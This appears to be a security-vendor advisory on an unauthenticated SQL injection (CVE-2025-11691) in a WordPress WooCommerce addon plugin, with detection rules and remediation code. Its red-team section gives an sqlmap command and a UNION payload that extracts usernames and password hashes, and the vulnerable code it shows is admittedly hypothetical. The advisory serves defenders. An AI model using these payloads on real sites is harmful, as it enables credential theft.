CVE-2025-11691
Executive Summary
CVE-2025-11691 is a critical SQL Injection vulnerability discovered in the PPOM – Product Addons & Custom Fields for WooCommerce plugin for WordPress, affecting all versions up to and including 33.0.15. The flaw resides in the PPOM_Meta::get_fields_by_id() function, where insufficient escaping on user-supplied parameters and lack of prepared statements allow unauthenticated attackers to inject arbitrary SQL queries. Successful exploitation can lead to extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. The vulnerability is only exploitable when the Enable Legacy Price Calculations setting is enabled. No public proof-of-concept or patch details are currently available, making this a high-priority unpatched threat for WordPress sites using the PPOM plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is a commercial product by Themeisle, users must rely on vendor updates. The lack of a patch increases supply chain risk, as compromised sites can be leveraged for further attacks, such as credential harvesting or malware distribution.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: High. The vulnerability is remotely exploitable without authentication, and while it requires a specific setting to be enabled, the potential for data exfiltration is severe.
Deep Dive & Mechanics
The vulnerability exists in the PPOM_Meta::get_fields_by_id() function, which is used to retrieve custom field data for product addons. The function accepts a user-supplied parameter (likely an ID or array of IDs) and directly incorporates it into an SQL query without proper sanitization or parameterized queries. Specifically, the code fails to escape the input and does not use prepared statements, allowing an attacker to break out of the intended SQL syntax.
The vulnerable code path is triggered when the Enable Legacy Price Calculations setting is active. This setting likely enables an older, less secure method of processing product addon data, which bypasses modern security controls. An unauthenticated attacker can send a crafted HTTP request to a WordPress endpoint that invokes this function, appending malicious SQL payloads to the existing query. For example, a UNION-based injection could be used to extract data from the wp_users table.
Root Cause: The use of $wpdb->query() or similar direct SQL execution with concatenated user input, instead of $wpdb->prepare().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.
Vulnerable Code (PPOM <= 33.0.15):
function get_fields_by_id($field_ids) {
global $wpdb;
$ids = implode(',', $field_ids); // No sanitization
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}ppom_fields WHERE id IN ($ids)");
return $results;
}
Patched Code (Hypothetical):
function get_fields_by_id($field_ids) {
global $wpdb;
$placeholders = array_fill(0, count($field_ids), '%d');
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}ppom_fields WHERE id IN (" . implode(',', $placeholders) . ")",
$field_ids
);
$results = $wpdb->get_results($query);
return $results;
}
The patched version uses $wpdb->prepare() with integer placeholders (%d) to safely bind the input, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with PPOM plugin version <= 33.0.15.
- Enable Legacy Price Calculations setting must be toggled on in the plugin settings.
- No authentication required.
Exploitation Steps:
- Identify a vulnerable endpoint that calls
PPOM_Meta::get_fields_by_id(). This is typically an AJAX action or REST API endpoint used for product addon calculations. - Craft a POST request with a malicious
field_idparameter. Example usingsqlmap:sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=ppom_calculate" --data="field_id=1" --dbms=mysql --technique=U --union-cols=5 - Manual injection example:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=ppom_calculate&field_id[]=1 UNION SELECT user_login,user_pass,user_email,user_registered,user_activation_key FROM wp_users-- - The response will contain the extracted data if the injection is successful.
Note: No public exploit code is available; the above is a conceptual example.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual SQL error messages in WordPress debug logs.
- Look for HTTP requests to
admin-ajax.phpor REST endpoints with suspiciousfield_idparameters containing SQL keywords (UNION, SELECT, FROM, etc.). - Use WAF rules to block requests with SQL injection patterns.
Hardening:
- Disable Enable Legacy Price Calculations immediately if not required.
- Apply input validation and use prepared statements in custom code.
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Restrict access to
admin-ajax.phpfor unauthenticated users where possible.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=ppom_calculateandfield_idparameters containing SQL syntax. - Outbound database connections from the web server to unknown IPs (data exfiltration).
- HTTP requests to
- File IOCs:
- Modified
wp-config.phpor plugin files (e.g.,ppom.php) indicating backdoor insertion. - Unexpected files in
/wp-content/uploads/or/wp-content/plugins/ppom/.
- Modified
- Database IOCs:
- Suspicious entries in
wp_optionsorwp_usermetatables. - New admin users created by the attacker.
- Suspicious entries in
- Log IOCs:
- WordPress debug log entries with SQL errors like
You have an error in your SQL syntax. - Web server access logs showing repeated
admin-ajax.phprequests with varyingfield_idvalues.
- WordPress debug log entries with SQL errors like
Detection Engineering
YARA Rule
rule CVE_2025_11691_PPOM_SQLi {
meta:
description = "Detects SQL injection attempts targeting PPOM plugin CVE-2025-11691"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11691"
strings:
$s1 = "ppom_calculate" ascii wide nocase
$s2 = "field_id" ascii wide nocase
$s3 = "UNION" ascii wide nocase
$s4 = "SELECT" ascii wide nocase
$s5 = "FROM" ascii wide nocase
condition:
all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}
Sigma Rule
title: CVE-2025-11691 PPOM SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the PPOM plugin for WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=ppom_calculate'
cs-uri-query|contains: 'field_id'
keywords:
- 'UNION'
- 'SELECT'
- 'FROM'
- '1=1'
- 'OR 1=1'
condition: selection and keywords
falsepositives:
- Legitimate use of field IDs with numeric values only
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-11691 PPOM SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ppom_calculate"; http_client_body; pcre:"/field_id\[\]=.*(UNION|SELECT|FROM|1=1|OR 1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Legacy Price Calculations: Navigate to PPOM settings and uncheck "Enable Legacy Price Calculations". This removes the attack surface.
- Update Plugin: Check for updates from Themeisle. If a patched version (e.g., 33.0.16 or higher) is released, apply immediately.
- Temporary Workaround: If the plugin cannot be updated, add the following code to your theme's
functions.phpto block unauthenticated access to the vulnerable function:add_action('init', function() { if (!is_user_logged_in() && isset($_POST['action']) && $_POST['action'] == 'ppom_calculate') { wp_die('Unauthorized', 403); } });
Long-term Measures:
- Implement a Web Application Firewall (WAF) with virtual patching for CVE-2025-11691.
- Conduct regular security audits of all WordPress plugins.
- Use a security plugin like Wordfence to monitor for SQL injection attempts.
- Ensure all WordPress core, themes, and plugins are kept up to date.
Patch Monitoring: Subscribe to Themeisle's security advisories or monitor the WordPress plugin repository for updates.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.